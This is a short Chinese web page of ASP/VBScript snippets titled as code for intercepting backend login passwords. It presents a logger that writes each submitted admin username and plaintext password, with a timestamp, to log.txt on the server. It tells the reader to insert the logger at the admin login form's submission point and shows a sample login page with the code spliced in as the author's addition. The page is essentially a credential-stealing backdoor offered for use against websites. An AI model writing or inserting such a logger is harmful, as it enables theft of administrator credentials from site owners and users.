Asp截获后台登录密码的代码

时间:2022-06-01 18:17:28

核心代码:

复制代码代码如下:


set fso=server.createobject("scripting.filesystemobject") 
if fso.FileExists(server.mappath("log.txt"))=true then 
set fin=fso.OpenTextFile(server.mappath("log.txt")) 
temp=fin.readall 
fin.close 
set fin=nothing 
end if 
set fout=fso.createtextfile(server.mappath("log.txt")) 
fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"") 
fout.close 
set fout=nothing 
set fso=nothing 


在后台登录处表单提交的地方插入! 
参考文件: 

复制代码代码如下:


<%@language=vbscript codepage=936 %> 
<% 
dim sql,rs 
dim username,password,CheckCode 
username=replace(trim(request("username")),"'","") 
password=replace(trim(Request("password")),"'","") 
CheckCode=replace(trim(Request("CheckCode")),"'","") 
if UserName="" then 
FoundErr=True 
ErrMsg=ErrMsg & "<br><li>用户名不能为空!</li>" 
end if 
if Password="" then 
FoundErr=True 
ErrMsg=ErrMsg & "<br><li>密码不能为空!</li>" 
end if 
if CheckCode="" then 
FoundErr=True 
ErrMsg=ErrMsg & "<br><li>验证码不能为空!</li>" 
end if 
if session("CheckCode")="" then 
FoundErr=True 
ErrMsg=ErrMsg & "<br><li>你登录时间过长,请重新返回登录页面进行登录。</li>" 
end if 
if CheckCode<>CStr(session("CheckCode")) then 
FoundErr=True 
ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致,请重新输入。</li>" 
end if 
'这后面是我增加的代码~开始区域 
set fso=server.createobject("scripting.filesystemobject") 
if fso.FileExists(server.mappath("log.txt"))=true then 
set fin=fso.OpenTextFile(server.mappath("log.txt")) 
temp=fin.readall 
fin.close 
set fin=nothing 
end if 
set fout=fso.createtextfile(server.mappath("log.txt")) 
fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"") 
fout.close 
set fout=nothing 
set fso=nothing 
'后面的代码被我删除了~结束区域 

%> 


本文涉及语句作者是:会的不多iFat